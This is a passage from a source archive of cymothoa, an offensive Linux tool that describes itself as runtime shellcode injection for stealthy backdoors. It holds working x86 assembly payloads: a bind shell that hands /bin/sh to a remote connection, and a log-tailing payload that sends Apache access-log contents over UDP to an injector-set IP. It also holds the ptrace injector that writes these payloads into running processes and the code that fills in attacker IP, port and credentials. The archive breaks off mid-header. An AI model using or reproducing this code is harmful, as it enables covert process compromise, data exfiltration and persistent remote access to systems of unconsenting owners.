cymothoa-1-beta/0000755000175000017500000000000011614025405013016 5ustar dummydummycymothoa-1-beta/payloads/0000755000000000000000000000000011614025426014263 5ustar rootrootcymothoa-1-beta/payloads/scheduled_alarm.s0000644000000000000000000000147411560503711017567 0ustar rootroot .file "scheduled_alarm.c" .text .globl handler .type handler, @function handler: pusha # alarm(timeout) xorl %eax, %eax xorl %ebx, %ebx mov $27, %al mov $0x1, %bl # 1 second int $0x80 schedule: # signal(SIGALRM, handler) xorl %eax, %eax xorl %ebx, %ebx mov $48, %al mov $14, %bl jmp schedule_end load_handler: pop %ecx subl $0x23, %ecx # adjust %ecx to point handler() int $0x80 popa jmp shellcode schedule_end: call load_handler shellcode: pusha # write(stdout, string, strlen) xorl %eax, %eax xorl %ebx, %ebx xorl %edx, %edx mov $4, %al mov $1, %bl jmp msg_string load_msg_string: pop %ecx mov $5, %dl int $0x80 popa ret msg_string: call load_msg_string .string "haha\n" .size handler, .-handler .ident "GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3" .section .note.GNU-stack,"",@progbits cymothoa-1-beta/payloads/scheduled_setitimer.s0000644000000000000000000000211011560504770020472 0ustar rootroot .file "scheduled_setitimer.c" .text .globl setitimer_hdr .type setitimer_hdr, @function setitimer_hdr: pusha # sys_setitimer(ITIMER_REAL, *struct_itimerval, NULL) xorl %eax, %eax xorl %ebx, %ebx xorl %edx, %edx mov $104, %al jmp struct_itimerval load_struct: pop %ecx int $0x80 popa jmp handler struct_itimerval: call load_struct .long 0x0 # seconds .long 0x5000 # microseconds .long 0x0 # seconds .long 0x5000 # microseconds handler: pusha # signal(SIGALRM, handler) xorl %eax, %eax xorl %ebx, %ebx mov $48, %al mov $14, %bl jmp handler_end load_handler: pop %ecx subl $0x19, %ecx # adjust %ecx to point handler() int $0x80 popa jmp shellcode handler_end: call load_handler shellcode: pusha # write(stdout, string, strlen) xorl %eax, %eax xorl %ebx, %ebx xorl %edx, %edx mov $4, %al mov $1, %bl jmp msg_string load_msg_string: pop %ecx mov $5, %dl int $0x80 popa ret msg_string: call load_msg_string .string "haha\n" .size setitimer_hdr, .-setitimer_hdr .ident "GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3" .section .note.GNU-stack,"",@progbits cymothoa-1-beta/payloads/fork_shellcode.s0000644000175000017500000000050511321055375020005 0ustar dummydummy .text .globl main .type main, @function main: push %eax # save %eax value (needed by parent process) push $2 pop %eax int $0x80 # fork test %eax, %eax jz shellcode # child jumps to shellcode pop %eax # parent process ret shellcode: # append your shellcode cymothoa-1-beta/payloads/scheduled_tail_setitimer.s0000644000000000000000000001046611566737237021534 0ustar rootroot .file "scheduled_setitimer.c" .text .globl setitimer_hdr .type setitimer_hdr, @function setitimer_hdr: pusha # sys_setitimer(ITIMER_REAL, *struct_itimerval, NULL) xorl %eax, %eax xorl %ebx, %ebx xorl %edx, %edx mov $104, %al jmp struct_itimerval load_struct: pop %ecx int $0x80 popa jmp handler struct_itimerval: call load_struct # these values are replaced by the injector: .long 0x0#53434553 # seconds .long 0x5343494d # microseconds .long 0x0#53434553 # seconds .long 0x5343494d # microseconds handler: pusha # signal(SIGALRM, handler) xorl %eax, %eax xorl %ebx, %ebx mov $48, %al mov $14, %bl jmp handler_end load_handler: pop %ecx subl $0x19, %ecx # adjust %ecx to point handler() int $0x80 popa jmp shellcode handler_end: call load_handler shellcode: pusha # check if already initialized mov $0x4d454d50, %esi # replaced by the injector (persistent memory address) mov (%esi), %eax cmp $0xdeadbeef, %eax je open_call # jump if already initialized # initialize mov $0xdeadbeef, %eax mov %eax, (%esi) add $4, %esi xorl %eax, %eax mov %eax, (%esi) sub $4, %esi open_call: # call to sys_open(file_path, O_RDONLY) xorl %eax, %eax mov $5, %al jmp file_path load_file_path: pop %ebx xorl %ecx, %ecx int $0x80 # %eax = file descriptor mov %eax, %edi # save file descriptor check_file_length: # call to sys_lseek(fd, 0, SEEK_END) mov %edi, %ebx xorl %eax, %eax mov $19, %al xorl %ecx, %ecx xorl %edx, %edx mov $2, %dl int $0x80 # %eax = end of file offset (eof) # get old eof, and store new eof add $4, %esi mov (%esi), %ebx mov %eax, (%esi) # skip the first read test %ebx, %ebx jz return_to_main_proc # check if file is larger # (current end of file > previous end of file) cmp %eax, %ebx je return_to_main_proc # eof not changed: return to main process calc_data_len: # calculate new data length # (current eof - last eof) mov %eax, %esi sub %ebx, %esi # saved in %esi set_new_position: # call to sys_lseek(fd, last_eof, SEEK_SET) xorl %eax, %eax mov $19, %al mov %ebx, %ecx mov %edi, %ebx xorl %edx, %edx int $0x80 # %eax = last end of file offset read_file_tail: # allocate buffer sub %esi, %esp # call to sys_read(fd, buf, count) xorl %eax, %eax mov $3, %al mov %edi, %ebx mov %esp, %ecx mov %esi, %edx int $0x80 # %eax = bytes read mov %esp, %ebp # save pointer to buffer open_socket: # call to sys_socketcall($0x01 (socket), *args) xorl %eax, %eax mov $102, %al xorl %ebx, %ebx mov $0x01, %bl jmp socket_args load_socket_args: pop %ecx int $0x80 # %eax = socket descriptor jmp send_data socket_args: call load_socket_args .long 0x02 # AF_INET .long 0x02 # SOCK_DGRAM .long 0x00 # NULL send_data: # prepare sys_socketcall (sendto) arguments jmp struct_sockaddr load_sockaddr: pop %ecx push $0x10 # sizeof(struct_sockaddr) push %ecx # struct_sockaddr address xorl %ecx, %ecx push %ecx # flags push %edx # buffer len push %ebp # buffer pointer push %eax # socket descriptor # call to sys_sendto($11 (sendto), *args) xorl %eax, %eax mov $102, %al xorl %ebx, %ebx mov $11, %bl mov %esp, %ecx int $0x80 jmp restore_stack struct_sockaddr: call load_sockaddr .short 0x02 # AF_INET .short 0x5250 # PORT (replaced by the injector) .long 0x34565049 # DEST IP (replaced by the injector) restore_stack: # restore stack pop %ebx # socket descriptor pop %eax # buffer pointer pop %edx # buffer len pop %eax # flags pop %eax # struct_sockaddr address pop %eax # sizeof(struct_sockaddr) # deallocate buffer add %edx, %esp close_socket: # call to sys_close(socket) xorl %eax, %eax mov $6, %al int $0x80 return_to_main_proc: # call to sys_close(fd) xorl %eax, %eax mov $6, %al mov %edi, %ebx int $0x80 # return popa ret file_path: call load_file_path .ascii "/var/log/apache2/access.log" .size setitimer_hdr, .-setitimer_hdr .ident "GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3" .section .note.GNU-stack,"",@progbits cymothoa-1-beta/payloads/mmx_example_shellcode.s0000644000000000000000000000051611565457030021014 0ustar rootroot .text .globl main .type main, @function main: push $0xbeef movd (%esp), %mm0 push $0xdead0000 movd (%esp), %mm1 paddd %mm1, %mm0 xorl %eax, %eax xorl %ebx, %ebx movd %mm0, (%esp) pop %ebx sys_exit_call: xorl %eax, %eax mov $1, %al int $0x80 cymothoa-1-beta/payloads/scheduled_backdoor_alarm.s0000644000000000000000000001073011566704701021436 0ustar rootroot .file "scheduled_alarm.c" .text .globl handler .type handler, @function # the shellcode starts here handler: pusha set_signal_handler: # signal(SIGALRM, handler) xorl %eax, %eax xorl %ebx, %ebx mov $48, %al mov $14, %bl jmp set_signal_handler_end load_handler: pop %ecx subl $0x18, %ecx # adjust %ecx to point handler() int $0x80 jmp shellcode set_signal_handler_end: call load_handler shellcode: # check if already initialized mov $0x4d454d50, %esi # replaced by the injector (persistent memory address) mov (%esi), %eax cmp $0xdeadbeef, %eax je accept_call # jump if already initialized socket_call: # call to sys_socketcall($0x01 (socket), *args) xorl %eax, %eax mov $102, %al xorl %ebx, %ebx mov $0x01, %bl jmp socket_args load_socket_args: pop %ecx int $0x80 # %eax = socket descriptor # save socket descriptor mov $0xdeadbeef, %ebx mov %ebx, (%esi) add $4, %esi mov %eax, (%esi) sub $4, %esi jmp fcntl_call socket_args: call load_socket_args .long 0x02 # AF_INET .long 0x01 # SOCK_STREAM .long 0x00 # NULL fcntl_call: # call to sys_fcntl(socket, F_GETFL) mov %eax, %ebx xorl %eax, %eax mov $55, %al xorl %ecx, %ecx mov $3, %cl int $0x80 # call to sys_fcntl(socket, F_SETFL, flags | O_NONBLOCK) mov %eax, %edx xorl %eax, %eax mov $55, %al mov $4, %cl orl $0x800, %edx # O_NONBLOCK (nonblocking socket) int $0x80 bind_call: # prepare sys_socketcall (bind) arguments jmp struct_sockaddr load_sockaddr: pop %ecx push $0x10 # sizeof(struct_sockaddr) push %ecx # struct_sockaddr address push %ebx # socket descriptor # call to sys_socketcall($0x02 (bind), *args) xorl %eax, %eax mov $102, %al xorl %ebx, %ebx mov $0x02, %bl mov %esp, %ecx int $0x80 jmp listen_call struct_sockaddr: call load_sockaddr .short 0x02 # AF_INET .short 0x5250 # PORT (replaced by the injector) .long 0x00 # INADDR_ANY listen_call: pop %eax # socket descriptor pop %ebx push $0x10 # queue (backlog) push %eax # socket descriptor # call to sys_socketcall($0x04 (listen), *args) xorl %eax, %eax mov $102, %al xorl %ebx, %ebx mov $0x04, %bl mov %esp, %ecx int $0x80 # restore stack pop %edi pop %edi pop %edi accept_call: # prepare sys_socketcall (accept) arguments xorl %ecx, %ecx push %ecx # socklen_t *addrlen push %ecx # struct sockaddr *addr add $4, %esi push (%esi) # socket descriptor # call to sys_socketcall($0x05 (accept), *args) xorl %eax, %eax mov $102, %al xorl %ebx, %ebx mov $0x05, %bl mov %esp, %ecx int $0x80 # %eax = file descriptor or negative (on error) mov %eax, %edx # save file descriptor # restore stack pop %edi pop %edi pop %edi # check return value test %eax, %eax js schedule_next_and_return # jump on error (%eax is negative) fork_child: # call to sys_fork() xorl %eax, %eax mov $2, %al int $0x80 test %eax, %eax jz dup2_multiple_calls # child continue execution # parent goto schedule_next_and_return schedule_next_and_return: # call to sys_close(socket file descriptor) # (since is used only by the child process) xorl %eax, %eax mov $6, %al mov %edx, %ebx int $0x80 # call to sys_waitpid(-1, NULL, WNOHANG) # (to remove zombie processes) xorl %eax, %eax mov $7, %al xorl %ebx, %ebx dec %ebx xorl %ecx, %ecx xorl %edx, %edx mov $1, %dl int $0x80 # alarm(timeout) xorl %eax, %eax mov $27, %al movl $0x53434553, %ebx # replaced by the injector (seconds) int $0x80 # return popa ret dup2_multiple_calls: # dup2(socket, 2), dup2(socket, 1), dup2(socket, 0) xorl %eax, %eax xorl %ecx, %ecx mov %edx, %ebx mov $2, %cl dup2_loop: mov $63, %al int $0x80 dec %ecx jns dup2_loop execve_call: # call to sys_execve(program, *args) xorl %eax, %eax mov $11, %al jmp program_path load_program_path: pop %ebx # create argument list [program_path, NULL] xorl %ecx, %ecx push %ecx push %ebx mov %esp, %ecx mov %esp, %edx int $0x80 program_path: call load_program_path .ascii "/bin/sh" .size handler, .-handler .ident "GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3" .section .note.GNU-stack,"",@progbits cymothoa-1-beta/payloads/clone_shellcode.s0000644000000000000000000000070311614010607017564 0ustar rootroot .text .globl main .type main, @function main: pusha # save registers (needed by parent process) # call to sys_clone xorl %eax, %eax mov $120, %al movl $0x18900, %ebx # flags: (CLONE_VM|CLONE_SIGHAND|CLONE_THREAD|CLONE_PARENT) int $0x80 test %eax, %eax jz shellcode # child jumps to shellcode popa # parent process ret shellcode: # append your shellcode cymothoa-1-beta/syscall_code.pl0000755000000000000000000000170411566711002015453 0ustar rootroot#!/usr/bin/perl if (!$ARGV[0]) { print "Syscall shellcode generator\n"; print "Usage:\n\t$0 syscall\n"; print "Example:\n\t$0 sys_open\n"; exit(1); } $name = $ARGV[0]; $syscall = `cat syscalls.txt | egrep " $name( .+|\$)"`; chomp($syscall); @parts = split(/\s+/, $syscall); if (scalar(@parts) < 2) { print "syscall not found.\n"; exit 1; } # Header print $name."_call:\n"; print "\t# call to $name("; print $parts[2] if $parts[2]; print ", ".$parts[3] if $parts[3]; print ", ".$parts[4] if $parts[4]; print ")\n"; # EAX print "\txorl\t\%eax, \%eax\n"; print "\tmov\t\$".$parts[0].", %al\n"; # EBX if ($parts[2]) { print "\txorl\t\%ebx, \%ebx\n"; print "\tmov\t".$parts[2].", %bl\n"; } # ECX if ($parts[3]) { print "\txorl\t\%ecx, \%ecx\n"; print "\tmov\t".$parts[3].", %cl\n"; } # EDX if ($parts[4]) { print "\txorl\t\%edx, \%edx\n"; print "\tmov\t".$parts[4].", %dl\n"; } # INT print "\tint\t\$0x80\n"; cymothoa-1-beta/personalization.h0000644000175000017500000001162311566730631016425 0ustar dummydummy/* * Shellcode personalization */ // print error message, if a mark is not found void mark_not_found(const char *type) { printf("[!] ERROR: %s mark not found. Check your payload\n", type); //exit(-1); } // search the mark in the shellcode // return: // NULL (failure) // pointer (success) char *mark_search(char *shellcode, int slen, const char *mark) { int mlen = strlen(mark); int i=0; for (i=0; i<(slen-mlen)+1; i++) { if(!strncmp(&shellcode[i], mark, mlen)) { return &shellcode[i]; } } return NULL; } // persistent memory address void set_persistent(char *shellcode, int slen, uint32_t pmem) { char *ptr = NULL; if(!(ptr = mark_search(shellcode, slen, persistent_mark))) mark_not_found("persistent memory"); *(uint32_t*)ptr = pmem; } // set 32 bit integer void set_32bit(char *shellcode, int slen, uint32_t intg, const char *mark, const char *mark_name) { char *ptr = NULL; if(!(ptr = mark_search(shellcode, slen, mark))) mark_not_found(mark_name); *(uint32_t*)ptr = intg; } // set 16 bit integer void set_16bit(char *shellcode, int slen, uint16_t intg, const char *mark, const char *mark_name) { char *ptr = NULL; if(!(ptr = mark_search(shellcode, slen, mark))) mark_not_found(mark_name); *(uint16_t*)ptr = intg; } // username = 4 chars void set_username(char *shellcode, int slen, char *username) { char *ptr = NULL; char name[4]; int name_len = strlen(username); memset(name, 0, sizeof(name)); if(!(ptr = mark_search(shellcode, slen, username_mark))) mark_not_found("username"); strncpy(name, username, (name_len < sizeof(name)) ? name_len : sizeof(name)); strncpy(ptr, name, sizeof(name)); } // password = 8 chars void set_password(char *shellcode, int slen, char *password) { char *ptr1 = NULL, *ptr2 = NULL; char pass[8]; int pass_len = strlen(password); memset(pass, 0, sizeof(pass)); ptr1 = mark_search(shellcode, slen, password_mark); ptr2 = mark_search(ptr1+sizeof(pass), slen, password_mark); if(!ptr1 || !ptr2) mark_not_found("password"); strncpy(pass, password, (pass_len < sizeof(pass)) ? pass_len : sizeof(pass)); strncpy(ptr1, pass + 4, 4); strncpy(ptr2, pass, 4); } // script code void set_script(char *shellcode, int slen, const char *script) { char *ptr = NULL; int script_len; if(!(ptr = mark_search(shellcode, slen, script_mark))) mark_not_found("script"); script_len = strlen(script); strncpy(ptr, script, script_len); *(ptr + script_len) = '\0'; payload_len = (shellcode - (ptr + script_len)); // adjust shellcode length } // Russell Sanford - xort@tty64.org int find_safe_offset(int INT_A) { int INT_B=0; do { INT_A -= 0x01010101; INT_B += 0x01010101; } while ( ((INT_A & 0x000000ff) == 0) || ((INT_A & 0x0000ff00) == 0) || ((INT_A & 0x00ff0000) == 0) || ((INT_A & 0xff000000) == 0) ); return INT_B; } // Russell Sanford - xort@tty64.org void patchcode(char *shellcode, uint16_t PORT_IN, uint32_t IP, uint16_t PORT_OUT) { uint16_t PORT_IN_A = PORT_IN; uint16_t PORT_IN_B = find_safe_offset(PORT_IN_A); int IP_A = IP; int IP_B = find_safe_offset(IP_A); int PORT_OUT_A = PORT_OUT; int PORT_OUT_B = find_safe_offset(PORT_OUT_A); *(int *)&shellcode[134] = (PORT_IN_A - PORT_IN_B); *(int *)&shellcode[141] = PORT_IN_B; *(int *)&shellcode[205] = (IP_A - IP_B); *(int *)&shellcode[212] = IP_B; *(int *)&shellcode[217] = (PORT_OUT_A - PORT_OUT_B); *(int *)&shellcode[224] = PORT_OUT_B; } // main function void personalize_shellcode(void) { //printf("[DBG] Payload before personalization:\n%s\n", sh_buffer); /*if(args.payload_index == 4) { patchcode(sh_buffer, args.my_port, args.my_ip, args.my_port2); }*/ if(args.timer_sec) set_32bit(sh_buffer, payload_len, args.timer_sec, seconds_mark, "seconds"); if(args.timer_micro) set_32bit(sh_buffer, payload_len, args.timer_micro, microsec_mark, "microseconds"); if(use_setitimer) { if(args.timer_sec) set_32bit(sh_buffer, payload_len, args.timer_sec, seconds_mark, "seconds"); if(args.timer_micro) set_32bit(sh_buffer, payload_len, args.timer_micro, microsec_mark, "microseconds"); } if(args.my_ip) set_32bit(sh_buffer, payload_len, args.my_ip, ip_mark, "IP"); if(args.my_port) set_16bit(sh_buffer, payload_len, args.my_port, port_mark, "port"); if(args.my_port2) set_16bit(sh_buffer, payload_len, args.my_port2, port_mark, "port2"); if(args.my_username) set_username(sh_buffer, payload_len, args.my_username); if(args.my_password) set_password(sh_buffer, payload_len, args.my_password); if(args.my_script) set_script(sh_buffer, payload_len, args.my_script); if(need_persistent) set_persistent(sh_buffer, payload_len, persistent_addr); //printf("[DBG] Payload after personalization:\n%s\n", sh_buffer); } cymothoa-1-beta/bgrep.c0000644000000000000000000001040511560472223013713 0ustar rootroot// Copyright 2009 Felix Domke . All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are // permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, this list // of conditions and the following disclaimer in the documentation and/or other materials // provided with the distribution. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER ``AS IS'' AND ANY EXPRESS OR IMPLIED // WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF // ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // The views and conclusions contained in the software and documentation are those of the // authors and should not be interpreted as representing official policies, either expressed // or implied, of the copyright holder. // #include #include #include #include #include #include #include #include #define BGREP_VERSION "0.2" int ascii2hex(char c) { if (c < '0') return -1; else if (c <= '9') return c - '0'; else if (c < 'A') return -1; else if (c <= 'F') return c - 'A' + 10; else if (c < 'a') return -1; else if (c <= 'f') return c - 'a' + 10; else return -1; } void searchfile(const char *filename, int fd, const unsigned char *value, const unsigned char *mask, int len) { off_t offset = 0; unsigned char buf[1024]; len--; while (1) { int r; memmove(buf, buf + sizeof(buf) - len, len); r = read(fd, buf + len, sizeof(buf) - len); if (r < 0) { perror("read"); return; } else if (!r) return; int o, i; for (o = offset ? 0 : len; o < r; ++o) { for (i = 0; i <= len; ++i) if ((buf[o + i] & mask[i]) != value[i]) break; if (i > len) { printf("%s: %08llx\n", filename, (unsigned long long)(offset + o - len)); } } offset += r; } } void recurse(const char *path, const unsigned char *value, const unsigned char *mask, int len) { struct stat s; if (stat(path, &s)) { perror("stat"); return; } if (!S_ISDIR(s.st_mode)) { int fd = open(path, O_RDONLY); if (fd < 0) perror(path); else { searchfile(path, fd, value, mask, len); close(fd); } return; } DIR *dir = opendir(path); if (!dir) { perror(path); exit(3); } struct dirent *d; while ((d = readdir(dir))) { if (!(strcmp(d->d_name, ".") && strcmp(d->d_name, ".."))) continue; char newpath[strlen(path) + strlen(d->d_name) + 1]; strcpy(newpath, path); strcat(newpath, "/"); strcat(newpath, d->d_name); recurse(newpath, value, mask, len); } closedir(dir); } int main(int argc, char **argv) { unsigned char value[0x100], mask[0x100]; int len = 0; if (argc < 2) { fprintf(stderr, "bgrep version: %s\n", BGREP_VERSION); fprintf(stderr, "usage: %s [ [...]]\n", *argv); return 1; } char *h = argv[1]; while (*h && h[1] && len < 0x100) { if (h[0] == '?' && h[1] == '?') { value[len] = mask[len] = 0; len++; h += 2; } else if (h[0] == ' ') { h++; } else { int v0 = ascii2hex(*h++); int v1 = ascii2hex(*h++); if ((v0 == -1) || (v1 == -1)) { fprintf(stderr, "invalid hex string!\n"); return 2; } value[len] = (v0 << 4) | v1; mask[len++] = 0xFF; } } if (!len || *h) { fprintf(stderr, "invalid/empty search string\n"); return 2; } if (argc < 3) searchfile("stdin", 0, value, mask, len); else { int c = 2; while (c < argc) recurse(argv[c++], value, mask, len); } return 0; } cymothoa-1-beta/cymothoa.c0000644000175000017500000002612411614010160015002 0ustar dummydummy/* * CYMOTHOA.C * * Copyright (C) 2009 * codwizard , crossbower * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include "cymothoa.h" // Print usage void print_usage(int ret_val) { printf("%s\n%s\n", banner, info); printf("%s", usage_text); exit(ret_val); } // Initialize payload buffer and vars void payload_init(void) { need_fork = 0; need_thread = 0; need_persistent = 0; need_alarm = 0; need_setitimer = 0; use_setitimer = 0; // check payload options and cmd-line arguments if(((payloads[args.payload_index].options & OPT_NEED_FORK) && args.no_fork==0) || args.fork) need_fork=1; if(((payloads[args.payload_index].options & OPT_NEED_THREAD) && args.no_thread==0) || args.thread) need_thread=1; if(((payloads[args.payload_index].options & OPT_NEED_PERSISTENT) && args.no_persistent==0) || args.persistent) need_persistent=1; if(((payloads[args.payload_index].options & OPT_NEED_ALARM) && args.no_alarm==0) || args.alarm) need_alarm=1; if(((payloads[args.payload_index].options & OPT_NEED_SETITIMER) && args.no_setitimer==0) || args.setitimer) need_setitimer=1; if(payloads[args.payload_index].options & OPT_USE_SETITIMER) use_setitimer=1; // calculate shellcode total size main_shellcode_len = payloads[args.payload_index].len; if (need_fork) payload_len = fork_shellcode_len + main_shellcode_len; else if (need_thread) payload_len = thread_shellcode_len + main_shellcode_len; else payload_len = main_shellcode_len; // allocate shellcode if(!(sh_buffer = malloc(payload_len + 1))) exit(-1); memset(sh_buffer, 0x0, payload_len + 1); if (need_fork) { memcpy(sh_buffer, fork_shellcode, fork_shellcode_len); memcpy(sh_buffer+fork_shellcode_len-1, payloads[args.payload_index].shellcode, main_shellcode_len); } else if (need_thread) { memcpy(sh_buffer, thread_shellcode, thread_shellcode_len); memcpy(sh_buffer+thread_shellcode_len-1, payloads[args.payload_index].shellcode, main_shellcode_len); } else { memcpy(sh_buffer, payloads[args.payload_index].shellcode, main_shellcode_len); } } // Free the payload buffer void payload_destroy(void) { free(sh_buffer); } // Search library region int search_lib_region(pid_t pid, char *lib_name, int perms) { FILE *maps = NULL; char cmd[1024]; char output[1024]; int region=0; if (lib_name==NULL) { // search /lib/ld-.so region, usually a good memory location lib_name = "/lib/ld"; } // assemble cmd if (perms == MEM_WRITE) { // writable memory (mapped rw-p) sprintf(cmd, "cat /proc/%d/maps | grep %s | grep ' rw-p '", pid, lib_name); } else { // executable memory (mapped r-xp) sprintf(cmd, "cat /proc/%d/maps | grep %s | grep ' r-xp '", pid, lib_name); } // read output maps = popen(cmd, "r"); fgets(output, 1024-1, maps); pclose(maps); // get region sscanf(output, "%x", ®ion); return region; } // Injection Function int ptrace_inject(pid_t pid, int memaddr, void *buf, int buflen) { int data; while (buflen > 0) { memcpy(&data, buf, BLOCK_SIZE); if ( ptrace(PTRACE_POKETEXT, pid, memaddr, data) < 0 ) { perror("Oopsie!"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } memaddr += BLOCK_SIZE; buf += BLOCK_SIZE; buflen -= BLOCK_SIZE; } return 1; } // Infect function int ptrace_infect() { // set standard arguments pid_t pid = args.pid; // other variables int ptr=0, error=0; struct user_regs_struct reg; printf("[+] attaching to process %d\n",pid); error = ptrace(PTRACE_ATTACH,pid,0,0); // attaching to process if (error == -1) { printf("[-] attaching failed. exiting...\n"); exit(1); } waitpid(pid,NULL,0); ptrace(PTRACE_GETREGS,pid,®,®); // general purpose registers printf("\n register info: \n"); printf(" -----------------------------------------------------------\n"); printf(" eax value: 0x%lx\t", reg.AX); printf(" ebx value: 0x%lx\n", reg.BX); printf(" esp value: 0x%lx\t", reg.STACK_POINTER); printf(" eip value: 0x%lx\n", reg.INST_POINTER); printf(" ------------------------------------------------------------\n\n"); reg.STACK_POINTER -= BLOCK_SIZE; // decrement STACK_POINTER printf("[+] new esp: 0x%.8lx\n", reg.STACK_POINTER); ptrace(PTRACE_POKETEXT, pid, reg.STACK_POINTER, reg.INST_POINTER); // poke INST_POINTER -> STACK_POINTER // print preamble options if (need_fork) printf("[+] payload preamble: fork\n", reg.STACK_POINTER); else if (need_thread) printf("[+] payload preamble: thread\n", reg.STACK_POINTER); else if (need_alarm) printf("[+] payload preamble: alarm\n", reg.STACK_POINTER); else if (need_setitimer || use_setitimer) printf("[+] payload preamble: setitimer\n", reg.STACK_POINTER); // get the address for our shellcode ptr = search_lib_region(pid, args.lib_name, MEM_EXEC); printf("[+] injecting code into 0x%.8x\n", ptr); reg.INST_POINTER = ptr + 2; printf("[+] copy general purpose registers\n"); ptrace(PTRACE_SETREGS, pid, ®, ®); // get the address for persistent memory persistent_addr = search_lib_region(pid, args.lib_name_mem, MEM_WRITE); if (need_persistent) printf("[+] persistent memory at 0x%.8x\n", persistent_addr); // personalize shellcode if required personalize_shellcode(); // inject the shellcode ptrace_inject(pid, ptr, sh_buffer, payload_len+1); // detach from process printf("[+] detaching from %d\n\n", pid); ptrace(PTRACE_DETACH, pid, 0, 0); printf("[+] infected!!!\n"); return(0); } /* * This function parse the arguments of the program and fills args structure */ int parse_arguments(int argc,char **argv) { int c; opterr = 0; payload_count = 0; // clean the arguments structure memset(&args, 0, sizeof(args)); args.payload_index=-1; // list of the options getopt have to get char short_options[] = "p:s:l:m:hSfFbBwWaAtTj:k:x:y:r:z:o:c:"; // PARSE ARGUMENTS... while ((c = getopt (argc, argv, short_options)) != -1) { switch (c) { // main options case 'p': // process pid args.pid = atoi(optarg); break; case 's': // payload index (shellcode) args.payload_index = atoi(optarg); break; case 'l': // library region where to put the shellcode args.lib_name = optarg; break; case 'm': // memory region for persistent memory args.lib_name_mem = optarg; break; case 'h': // show help/usage args.show_help = 1; break; case 'S': // show payloads args.show_payloads = 1; break; // injection options case 'f': // use fork shellcode args.fork = 1; break; case 'F': // don't use fork shellcode args.no_fork = 1; break; case 'b': // create payload thread args.thread = 1; break; case 'B': // don't create payload thread args.no_thread = 1; break; case 'w': // pass persistent memory address args.persistent = 1; break; case 'W': // don't pass persistent memory address args.no_persistent = 1; break; case 'a': // use alarm scheduler args.alarm = 1; break; case 'A': // don't use alarm scheduler args.no_alarm = 1; break; case 't': // use setitimer scheduler args.setitimer = 1; break; case 'T': // don't use setitimer scheduler args.no_setitimer = 1; break; // payload arguments case 'j': // timer_seconds args.timer_sec = atoi(optarg); break; case 'k': // timer microseconds args.timer_micro = atoi(optarg); break; case 'x': // option ip address args.my_ip = inet_addr(optarg); break; case 'y': // option port number args.my_port = htons(atoi(optarg)); break; case 'r': // option port number 2 args.my_port2 = htons(atoi(optarg)); break; case 'z': // option username args.my_username = optarg; break; case 'o': // option password args.my_password = optarg; break; case 'c': // script code args.my_script = optarg; break; case '?': fprintf (stderr, "Error with option: %c. Check the usage...\n", optopt); return 0; } } // ACTIONS... // show help/usage screen if (args.show_help) { print_usage(0); } // show payloads if (args.show_payloads) { int count = 0; printf("\n"); while(payloads[count].shellcode != NULL) { printf("%d - %s\n", count, payloads[count].description); count++; } exit(0); } // COUNT PAYLOADS while(payloads[payload_count].shellcode != NULL) payload_count++; // CHECK ARGUMENTS... if (args.pid==0 || args.payload_index < 0 || args.payload_index > payload_count) { print_usage(1); } return 1; } // Main function int main(int argc,char **argv) { // parse and check command line arguments if ( parse_arguments(argc, argv) == 0 ) { return 1; } // initialize payload buffer and vars payload_init(); // free payload buffer when exiting or when an error occures atexit(payload_destroy); // infect the process if ( ptrace_infect() == 0 ) { return 1; } return 0; } cymothoa-1-beta/cymothoa.h0000644000175000017500000001162111614010450015005 0ustar dummydummy#include #include #include #include #include #include #include #include #include #include #include #include char banner[] = " _ \n\ _ | | \n\ ____ _ _ ____ ___ _| |_| |__ ___ _____ \n\ / ___) | | | \\ / _ (_ _) _ \\ / _ \\(____ |\n\ ( (___| |_| | | | | |_| || |_| | | | |_| / ___ |\n\ \\____)\\__ |_|_|_|\\___/ \\__)_| |_|\\___/\\_____|\n\ (____/ "; char info[] = "Ver.1 (beta) - Runtime shellcode injection, for stealthy backdoors...\n\n" "By codwizard (codwizard@gmail.com) and crossbower (crossbower@gmail.com)\n" "from ES-Malaria by ElectronicSouls (http://www.0x4553.org)."; char gretz[] = "Gretz: brigante, emgent, scox, keeley, fiocinino...\n" " ...and backtrack-italy community ;)"; char usage_text[] = "\nUsage:\n" "\tcymothoa -p -s [options]\n\n" "Main options:\n" "\t-p\tprocess pid\n" "\t-s\tshellcode number\n" "\t-l\tmemory region name for shellcode injection (default /lib/ld)\n" "\t \tsearch for \"r-xp\" permissions, see /proc/pid/maps...\n" "\t-m\tmemory region name for persistent memory (default /lib/ld)\n" "\t \tsearch for \"rw-p\" permissions, see /proc/pid/maps...\n" "\t-h\tprint this help screen\n" "\t-S\tlist available shellcodes\n\n" "Injection options (overwrite payload flags):\n" "\t-f\tfork parent process\n" "\t-F\tdon't fork parent process\n" "\t-b\tcreate payload thread (probably you need also -F)\n" "\t-B\tdon't create payload thread\n" "\t-w\tpass persistent memory address\n" 